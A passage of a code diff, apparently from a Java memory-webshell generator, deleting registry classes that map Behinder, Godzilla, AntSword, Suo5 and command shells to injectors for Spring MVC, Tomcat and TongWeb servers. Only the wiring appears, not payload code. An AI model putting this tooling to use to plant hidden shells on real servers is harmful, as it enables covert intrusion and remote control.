import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/22
|
|
||||||
*/
|
|
||||||
public class SpringWebMvcShell extends AbstractShell {
|
|
||||||
public static final String INTERCEPTOR = "Interceptor";
|
|
||||||
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
|
||||||
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
|
||||||
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
|
||||||
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
|
||||||
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
|
||||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,119 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/22
|
|
||||||
*/
|
|
||||||
public class TomcatShell extends AbstractShell {
|
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
|
||||||
public static final String UPGRADE = "Upgrade";
|
|
||||||
public static final String EXECUTOR = "Executor";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
map.put(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/26
|
|
||||||
*/
|
|
||||||
public class TongWeb6Shell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
|
||||||
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/26
|
|
||||||
*/
|
|
||||||
public class TongWeb7Shell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
|
||||||
